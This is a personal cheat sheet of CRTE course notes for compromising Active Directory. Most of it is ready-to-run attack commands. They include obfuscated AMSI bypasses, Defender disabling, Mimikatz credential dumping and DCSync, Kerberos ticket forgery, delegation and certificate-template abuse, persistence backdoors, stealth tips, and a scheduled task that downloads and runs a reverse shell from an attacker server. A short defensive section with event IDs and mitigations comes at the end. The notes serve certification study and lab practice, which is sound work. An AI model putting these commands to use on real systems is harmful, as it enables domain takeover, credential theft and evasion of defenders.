CRTE Notes
Notes I wrote while studying for the CRTE course and fully compromising the lab.
LinkedIn: https://www.linkedin.com/in/segev-eliezer/
YouTube: https://YouTube.com/@0xd4y
Website: https://0xd4y.com
GitHub: https://GitHub.com/0xd4y
ConstrainedLanguage
mode because it is signed by MicrosoftCommand | Description |
(Get-DomainPolicy)."Kerberos Policy" | Returns MaxTicketAge, MaxServiceAge, MaxClockSkew, etc. |
Get-ADDomainController | Get domain controllers for current domain |
Get-NetDomainController -Domain <DOMAIN_NAME> | Get domain controllers for another domain |
Get-ADUser -Filter * -Properties * | Get all users in domain |
Get-UserProperty -Properties pwdlastset | Check when password was last set for domain users |
Get-ADDomain | Get current domain |
Get-DomainPolicyData | Get password policy, kerberos policy, etc. |
MaxTicketAge
(max age of TGT in hours), MaxRenewAge
(time period in days for which TGT can be renewed), and MaxServiceAge
(max age of TGS in hours) How Kerberos Works
Get-ADUser -Filter 'Description -like "*built*" -Properties Description | select name,Description
Command | Description |
Get-ADComputer -Filter * | Returns computers connected to current domain |
Get-ADGroup -Filter * | Returns all groups in current domain |
Get-ADGroupMember -Identity "<GROUP_NAME>" -Recursive | Returns users part of specified group |
Get-ADPrincipalGroupMembership -Identity <USER> | See groups user is a member of |
Get-DomainGroup -Username "0xd4y" | Find which group 0xd4y is a part of |
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<GROUP_NAME_OR_USER_NAME>"} | Find permissions identity has for users in domain |
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<GROUP_NAME_OR_USER_NAME>"
instead of Invoke-ACLScanner
Command | Description |
Invoke-ShareFinder | Shows available shares on network |
Invoke-FileFinder | Find sensitive files on computers in domain |
Get-NetFileServer | Get all file servers of domain |
Invoke-ShareFinder
doesn’t necessarily mean you can access the shares, but high chance that you canInvoke-BloodHound -CollectionMethod All
Parent-Child Trust
Get-ADTrust -Filter *
Get-ADForest
One-liner to bypass PowerShell AMSI This script contains malicious content
block
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Out-CompressedDll mimikatz.exe > out.txt
compressedMimikatzString
value with contents of out.txt# First, configure a port for port forwarding
$null | winrs -r:follow-0xd4y "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<ATTACKER_IP>"
# Then, load the remote binary using NetLoader
$null | winrs -r:follow-0xd4y C:\PATH\TO\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit
echo F | xcopy C:\PATH\TO\Loader.exe \\follow-0xd4y\C$\PATH\TO\SAVE\Loader.exe
Set-MpPreference -DisableRealtimeMonitoring $true
to temporarily disable DefenderSet-MpPreference -DisableIOAVProtection $true
as this will specifically only target AVInvoke-UserHunter
against DCs to prevent logs (e.g. Reconnaissance using SMB session enumeration) -ComputerFile computers.txt
where DCs are not in the computers.txt
file4624
(Account Logon), 4634
(Account Logoff), and in case of success also triggers 4672
(Admin Logon) /aes256:<AES256_key>
and if possible also /aes128:<AES128_key>
to avoid ATA’s “Encryption downgrade activity” finding logonserver
environment variableInvoke-HoneypotBuster -OpSec
to find potential honeypotslogoncount
≥ 6, the user does not show up) Signs Object is a Decoy
pwdlastset
was last set a long time agobadpwdcount
is 0badpwdcount
is typically low for service accountslogoncount
is 0 or fewlastLogon
or lastlogontimestamp
was from a long time agoobjectSID
is different than the domain’swhenCreated
is default or very new or oldSet-MpPreference -DisableRealtimeMonitoring $true
to temporarily disable DefenderSet-MpPreference -DisableIOAVProtection $true
as this will specifically only target AV⭐ Keep your eyes on the goals of your operation, and avoid getting DA privileges if it is not required. This will greatly help in avoiding detection.
Invoke-UserHunter -GroupName "<GROUP_NAME>"
-CheckAccess
parameter to check if you have local admin accessGet-NetGroupMember
and Get-NetSession
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"’
Find-DomainUserLocation
These are several different methods to exfiltrate credentials
Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"' | Extract creds from credential vault (can contain creds used for scheduling tasks, web credentials, etc.) |
Invoke-Mimikatz -Command '"kerberos::list /export"' | Extract tickets |
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' | Dump local creds |
Get-NetUser -SPN
or Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Exploitation
# Obtain TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SERVICE>/follow.0xd4y_notes.local"
### Check TGS was granted by running klist
# Save TGS to disk:
Invoke-Mimikatz -Command '"kerberos::list /export"'
Request-SPNTicket
and crack with John or HashcatRubeus.exe kerberoast /stats /rc4opsec
Protected Users
group, you can still request RC4 encryption in KerberosRubeus.exe kerberoast /user:0xd4y /simple
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
GenericAll
or GenericWrite
control over a group or user in a group, you can disable preauth for a userExploitation
# Find permissions identity has for users in domain
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<GROUP_NAME_OR_USER_NAME>"}
# Disable PreAuth for user 0xd4y
Set-DomainObject -Identity 0xd4y -XOR @{useraccountcontrol=4194304}
# Get TGT for user 0xd4y
Get-ASRepHash -UserName 0xd4y
Set-DomainObject
command may result in an Exception calling “GetNames”
error, but it may have still workedGet-DomainUser -Preauthnotrequired
GenericAll
or GenericWrite
permissions for a user, you can set the user’s SPN to anything and request a TGS for it (even if there is no service running for that SPN)Exploitation
# Set unique SPN for user 0xd4y
Set-ADUser -Identity 0xd4y -ServicePrincipalNames @{Add='doesnot/matter'}
# Request TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "doesnot/matter"
# Save TGS to disk:
Invoke-Mimikatz -Command '"kerberos::list /export"'
Suppose a user wants to access a web server:
# Find computers with unconstrained delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
# Extract TGT from compromised service
Invoke-Mimikatz -Command '"sekurlsa::tickets"' ## Add /export to save to disk
# Perform Pass-the-Ticket attack
Invoke-Mimikatz -Command '"kerberos::ptt <TGT_FILE>"'
Printer Bug
# Monitor TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Force target machine to connect to the owned machine
MS-RPRN.exe \\target.0xd4y_notes.local \\owned.0xd4y_notes.local
# Pass the b64-encoded ticket
Rubeus.exe ptt /ticket:<b64_ticket>
# Find users and computers with constrained delegation enabled (also returns msDS-AllowedToDelegateTo)
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
## Can also use PowerView's "Get-DomainUser -TrustedToAuth" or "Get-DomainComputer -TrustedToAuth"
# Getting TGT for compromised service account (kekeo)
tgt::ask /user:<SERVICE_ACCOUNT> /domain:follow.0xd4y_notes.local /rc4:<NTLM_HASH>
# Using kekeo, get TGS for service on behalf of Domain Administrator
tgs::s4u /tgt:<TGT_FILE> /user:Administrator@follow.0xd4y_notes.local /service:<SERVICE>/<MACHINE>
msDS-AllowedToDelegateTo
restriction or a service running under the same account Protocol Transition
Suppose a user inputs their username and password in some login form of a web server to access some files. The web server then needs to authenticate to a file server to obtain the requested files. The major problem is, “Which domain user tried to access the web server?”. This is step 2:
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
attribute on the web server service account, and it also checks that Joe is not blocked for delegation. Returns a forwardable ticket for Joe’s account if true (S4U2Self).msDS-AllowedToDelegateTo
field on web server service account. TGS is sent if the service is allowed (S4U2Proxy)msDS-AllowedToActOnBehalfOfOtherIdentity
(visible as PrincipalsAllowedToDelegateToAccount
)GenericAll
or GenericWrite
to the server, you can run the following:# Check for interesting ACLs on account you own
Find-InterestingDomainACL | ?{$_.identityreferencename -match '0xd4y'}
# Add your owned machine account to trusted delegate to
Set-ADComputer -Identity "target_machine" -PrincipalsAllowedToDelegateToAccount "0xd4y-comp$"
# Get hash for 0xd4y-comp$
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
# Use Rubeus to access HTTP service as domain admin (can pick whatever service you want)
Rubeus.exe s4u /user:0xd4y-comp$ /aes256:<MACHINE_ACCOUNT_HASH> /msdsspn:HTTP/follow-0xd4y /impersonateuser:Administrator /ptt
Get-ADGroupMember -Identity DNSAdmins
Exploitation
# First, serve an arbitrary DLL on some domain-joined workstation that you own
## Then, do the following:
dnscmd <DNS_SERVER> /config /serverlevelplugindll \\<WORKSTATION_YOU_OWN>\malicious.dll
# Restart the DNS service
sc \\<DNS_SERVER> stop dns
sc \\<DNS_SERVER> start dns
Two ways of escalating privileges between two domains in same forest:
How Authentication Works Between Domains and Forests
Suppose you are a user in follow.0xd4y_notes.local and you try to access an app server that is present in the parent domain (0xd4y_notes.local):
In step 3, the follow.0xd4y_notes.local DC checks its global catalog for the app server the client is requesting. The DC then sees that the app server does note exist in its own global catalog, but it does exist in the parent domain, so it sends an inter-realm TGT (encrypted and signed with the trust key) to the client.
In step 5, the inter-realm TGT is sent to the 0xd4y_notes.local DC whose only validation for the TGT is whether or not it can decrypt it with the trust key (the same key used to encrypt the TGT). Therefore, we forge an inter-realm TGT wherein we write that there is a SIDHistory of Enterprise Admins (519).
# First method of getting trust ticket RC4 hash (run within DC)
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName follow-dc
## Then, forge a TGT (First method)
Invoke-Mimikatz -Command '"kerberos::golden /user:0xd4y-dc$ /domain:<CURRENT_CHILD_DOMAIN> /sid:<CURRENT_CHILD_DOMAIN_SID> /groups:516 /sids:<PARENT_ENTERPRISE_ADMIN_GROUP_SID>-519 /krbtgt:<KRBTGT_HASH> /ptt"'
### Finally run a dcsync attack (you can use SafetyKatz instead of Invoke-Mimikatz just make sure to leave out "-Command" from command)
Invoke-Mimikatz -Command "lsadump::dcsync /user:forest_root\krbtgt /domain:0xd4y.local" "exit"
# Second method of getting trust ticket RC4 hash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:notes\subscribe_0xd4y$"'
## Then, forge a TGT (Second method)
Invoke-Mimikatz -Command '"kerberos::golden /user:0xd4y-dc$ /domain:<CHILD_DOMAIN> /sid:<CURRENT_DOMAIN_SID> /sids:<PARENT_ENTERPRISE_ADMIN_GROUP_SID>-519 /rc4:<TRUST_TICKET> /service:krbtgt /target:<FOREST_ROOT_DOMAIN> /ticket:C:\PATH\TO\SAVE\trust_tkt.kirbi"'
### Afterwards, request a TGS to a service using the TGT
.\asktgs.exe C:\PATH\TO\trust_tkt.kirbi <SERVICE>/youtube_subscribe.0xd4y_notes.local
#### Note you can also run Invoke-Mimikatz -Command '"kerberos::ptt C:\PATH\TO\ticket.kirbi"'. This will also automatically inject the ticket into your current session.
#### Finally, inject the TGS in your current powershell session
.\kirbikator.exe lsa C:\PATH\TO\TGS.kirbi
sids
parameter, it is more stealthy to use the domain controllers group (S-1-5-21-…-516) and the enterprise domain controllers group (S-1-5-9), as it avoids some logs/sids:S-1-5-21-1004336348-1187298915-682003330-516,S-1-5-9
4624
and 4634
will occur (which is normal), but a 4672
Admin Logon event will be triggered as well which is an anomaly AD CS can be used to (among much more):
Command | Description |
Certify.exe cas | Look for certificate authorities in domain |
Certify.exe find | Enumerate templates |
Certify.exe find /vulnerable | Find vulnerable templates |
ESC1 Exploitation
Must have enrollment rights and msPKI-Certificates-Name-Flag
must contain the value of ENROLLEE_SUPPLIES_SUBJECT
# Request certificate for DA (you can do the same with an EA, just specify the domain under altname like 0xd4y.local\Administrator)
Certify.exe request /ca:<CA_NAME_VALUE> /template:<TEMPLATE_NAME> /altname:Administrator
# Copy cert to a pem file and then convert to PFX for Rubeus and supply a password of follow_0xd4y
openssl.exe pkcs12 -in C:\PATH\TO\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\PATH\TO\SAVE\cert.pfx
# Request TGT for DA using Rubeus
Rubeus.exe asktgt /user:Administrator /certificate:C\PATH\TO\cert.pfx /password:follow_0xd4y /ptt
# When requesting TGT for EA use
Rubeus.exe asktrgt /user:0xd4y.local\Administrator /dc:0xd4y.local /certificate:C\PATH\TO\cert.pfx /password:follow_0xd4y /ptt
cert.pem
is equivalent in functionality to having a user’s TGTrc4_hmac
⭐ DC does not validate contents of decrypted TGT
Creating Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:follow.0xd4y_notes.local /sid:<SID> /krbtgt:<KRBTGT_HASH> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
/ptt
(pass-the-ticket) signifies to inject ticket in current PS process/ticket
instead to save the ticket to a file for later use/ptt
instead of /ticket
to not use old TGTs and to not touch disc (old TGTs are sometimes monitored)/startoffset:0
signifies to make the ticket available right now/endin:600
sets ticket lifetime to 600 minutes (default AD setting)/renewmax:10080
sets ticket renewal lifetime to 7 days which is 10,080 hours (default AD setting)/sids:<ENTERPRISE_DC_GROUP>
parameter to decrease chances of detection by MDI4672
(Admin Logon) eventCreating Silver Ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:follow.0xd4y_notes.local /sid:<SID> /target:follow-dc.0xd4y_notes.local /service:<SERVICE> /rc4:<NTLM_HASH> /ptt"'
schtasks /create /S follow.0xd4y_notes.local /sc Weekly /ru "NT Authority\SYSTEM" /tn: <TASK_NAME> /tr <REVERSE_SHELL_PAYLOAD>
then, run the task with schtasks /run /s follow.0xd4y_notes.local /tn <TASK_NAME>
gwmi -Class win32_operatingsystem -ComputerName follow.0xd4y_notes.local
)Getting RCE
schtasks /create /S target.0xd4y_notes.local /SC Weekly /RU "NT Authority\System" /TN "Follow0xd4yTask" /TR "powershell.exe -c 'IEX(New-Object Net.WebClient).DownloadString(''http://attacker_server.com/Reverse_Shell.ps1''')'"
schtasks /Run /S target.0xd4y_notes.local /TN "Follow0xd4yTask"
ERROR kul_m_misc_skeleton ; Second pattern not found
Creating Skeleton Key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName follow-dc.0xd4y_notes.local
mimikatz
, always change this! Enter-PSSession -ComputerName target.0xd4y_notes.local -Credential examplecorp\Administrator
Removal of LSASS Protection
If LSASS is a protected process, you must run the following:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-
Directory Service Restore Mode (a.k.a SafeModePassword)
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\LSA\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\LSA\" -Name "DsrmAdminLogonBehavior" -Value 2
Dump DSRM Password
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName follow-dc
Method 1
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
$packages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\System\CurrentControlSet\Control\LSA\ -Name 'Security Packages' -Value $packages
Method 2
Invoke-Mimikatz -Command "misc::memssp"'
Get-ObjectACL -SamAccountName "<GROUP_NAME>" -ResolveGUIDs | ?{$_.IdentityReference -match '0xd4y'}
Add-ADGroupMember -Identity '<GROUP_NAME>' -Members follow_0xd4y
Set-ADAccountPassword -Identity 0xd4y -NewPassword (ConvertTo-SecureString "f0ll0w_0xd4y" -AsPlainText -Force)
Interactive Method
Non-Interactive Method
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal 0xd4y
Invoke-SDPropagator -showProgress -timeoutMinutes 1
-Rights
): ResetPassword
, WriteMembers
, etc.Get-ObjectACL -DistinguishedName "dc=follow,dc=0xd4y_notes,dc=local" -ResolveGUIDs | ? {($_.IdentityReference-match "0xd4y") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
Interactive Method
Required permissions for DCSync:
NonInteractive Method
Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal 0xd4y -GUIDRight DCSync
PSRemoting
Set-RemotePSRemoting -UserName 0xd4y -ComputerName follow-dc.0xd4y_notes.local
I/O
error, but the command still successfully ranWMI
Invoke-WmiMethod -Class win32_process -Name Create -ArgumentList 'calc.exe' -ComputerName follow-0xd4y
On local machine:
Set-RemoteWMI -Username 0xd4y
On remote machine:
Set-RemoteWMI -Username 0xd4y -ComputerName follow-dc -namespace 'root\cimv2'
-Credential
flag to specify credentials Remote Registry
Add-RemoteRegBackdoor -ComputerName follow-dc -Trustee 0xd4y
Get-RemoteMachineAccountHash -ComputerName follow-dc.0xd4y_notes.local
Get-RemoteLocalAccountHash
or Get-RemoteCachedCredential
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
or Invoke-Mimikatz -Command '"lsadump::trust /patch"'
to get the trust key for the inter-forest trustGet-SQLServerLinkCrawl -Instance example-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget target-mssql
)whoami
command across the nodes-QueryTarget
parameter, the command will be run on every link in chainxp_cmdshell
enabledrpcout
is enabled (disabled by default) using EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "example-sql"
ft
stands for format table (makes the output look nicer)Command | Description |
Get-SQLServerLink -Instance example-mssql | Find links to remote servers |
Get-SQLServerLinkCrawl -Instance example-mssql | Enumerate database links |
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose | Check which SQL servers you can access |
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose | Lists information about each SQL server |
Methodology
Within Mimikatz, perform the following:
# Start RPC servers with SYSTEM privileges and modify attribute (in this example we'll edit the description of the 0xd4y user)
!+
!processtoken
lsadump::dcshadow /object:0xd4y /attribute:Description /value="Subscribe to 0xd4y on YouTube"
## Push the changes
lsadump::dcshadow /push
sekurlsa::pth /user:Administrator /domain:0xd4y_notes.local /ntlm:<DA_HASH> /impersonate
Command | Description |
Find-LocalAdminAccess | Returns machines in current domain where current user has local admin access |
Enter-PSSession -ComputerName <HOSTNAME> | Log into other computer remotely (works if you have local admin access on destination computer) |
Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock{<COMMAND>} } | Runs command on remote machine(s)
Use FilePath instead of ScriptBlock to execute a file |
Invoke-Mimikatz -ComputerName @("comp1","comp2") | Can be used to extract creds and write to LSASS using Invoke-Command and PS remoting |
winrs -r:follow-0xd4y whoami | Run whoami command on follow-0xd4y computer using WINRM |
Find-LocalAdminAccess
is very noisy Get-NetComputer
and then uses Invoke-CheckLocalAdminAccess
on each machineEnter-PSSession
does not work, you may need to run Enable-PSRemoting
Invoke-Mimikatz
is better to use than mimikatz.exe
as it does not require you to write to discInvoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $session
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:follow-dc /ntlm:<NTLMHASH> /run:powershell.exe"'
to generate tokens from hashes ← writing to LSASS winrs
command works on a remote computer if you have admin privileges on itInteracting with Script Inside Session
$session = New-PSSession -ComputerName <HOSTNAME>
Invoke-Command -FilePath <PATH_TO_PS1_SCRIPT> -Session $session
Enter-PSSession -Session $session
Invoke-Command & Invoke-Mimikatz Tips
HKEY_LOCAL_MACHINE/Security/Policy/Secrets
Invoke-Command -ScriptBlock{Invoke-Mimikatz} -Session $session
Invoke-Mimikatz
cmdlet from one’s local PS session, and executes it on the remote machine Invoke-Mimikatz -Command '"sekurlsa::pth /user:0xd4y /domain:follow.0xd4y_notes.local /ntlm:<NTLM_HASH> /run:powershell.exe"'
whoami
will not show that you are the impersonated user, but you are and have the permissions of that user Another Method for Running Mimikatz on Remote Machine
$session = New-PSSession -ComputerName follow-dc.0xd4y_notes.local
Invoke-Command -Session $session -FilePath <PATH_TO_PS1_FILE>
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:vuln_corp\krbtgt"'
AlwaysInstallElevated
turned on (see https://0xd4y.com/reports/Love Writeup.pdf for how to exploit)Get-ServiceUnquoted
Get-ModifiableServiceFile
Get-ModifiableService
Get-WMIObject Win32_service | select Name, PathName
Invoke-ServiceAbuse
Invoke-ServiceAbuse -Name <VULNERABLE_SERVICE> -Command "<COMMAND>"
Invoke-AllChecks
Invoke-AllChecks
)CanRestart
is True
and it is being run with higher privileges than your current user (StartName
)C:\
); Admin privs needed for that.\beRoot.exe
)Invoke-PrivEsc
)⭐ In incident response scenarios, run Enter-PSSession -ComputerName <TARGET_COMPUTER> -Credential <CLIENT_DOMAIN>\Administrator
, and type mimikatz
as the password. If it works, then this is indicative of skeleton key persistence.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=<EVENT_ID>} -MaxEvents {NUMBER_OF_EVENTS} | Format-List -Property *
4624
(Account Logon) and 4634
(Account Logoff) event IDsFind-LocalAdminAccess
cmdletHKLM\System\CurrentControlSet\Services\DNS\Parameters
, look for DNS stops and starts, and monitor event 770 which shows the location from which the DLL was loaded4672
on any machine other than the DC should be tracked4769
(Kerberos ticket was requested) — looks normal4769
with the following filter:Invoke-Mimikatz -Command '"kerberos::list /export"'
or with Impacket’s GetUserSPNs script Logs for this attack not enabled by default, otherwise the following events are triggered:
4662
(An operation was performed on an object), 5136
(A directory service object was modified), and 4670
(Permissions on an object were changed)NetCease.ps1
on server to prevent users from running Get-NetSession
on that server Invoke-UserHunter
attacksNetCease.ps1
can break things (be careful before using)4624
(Account Logon), 4634
(Account Logoff), and 4672
(Admin Logon)Run LSASS as protected process
7045
(service installed on system - Kernel Mode Driver), 4673
(Sensitive Privilege Use), and 4611
(trusted logon process registered with Local Security Authority) ms-mcsAdmPwd
(stores pass in cleartext) and ms-mcsAdmPwdExpirationTime
(stores password expiration time)Tricking threat actors into going down pathways that would trigger alerts and waste their time.
4662
eventCreate-DecoyUser
4657
event ID (Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa\[DsrmAdminLogonBehavior|SecurityPackages]
)System.Management.Automation.dll
is blocked, otherwise it is possible to load PowerShell functionality with .NET codepowershell.exe
, it is System.Management.Automation.dll
, the PS console is just a host for the DLLGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
ConstrainedLanguage
mode$ExecutionContext.SessionState.LanguageMode
Note that the warning level for the log checks only work against a known list of potentially malicious commands.
You can either enable logging via the registry or via group policies.
EnableTranscripting
to 1 under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription
EnableScriptBlockLogging
to 1 under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
EnableModuleLogging
to 1 under HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging
*
for enabling it on all modulesSystem-wide transcription
to log ALL PowerShell commands, however the logs are not protected400
(Engine state is changed from None to Available) — look for EngineVersion
Warning
level works by comparing the executed PowerShell command with a list of known malicious commands 4104
if caught by AMSI (remember to obfuscate!)Add-ADGroupMember -Identity '<GROUP_NAME>' -Members new_user_example -MemberTimeToLive (New-TimeSpan -Minutes <#_OF_MINUTES>)
Account is sensitive and cannot be delegated
for sensitive accounts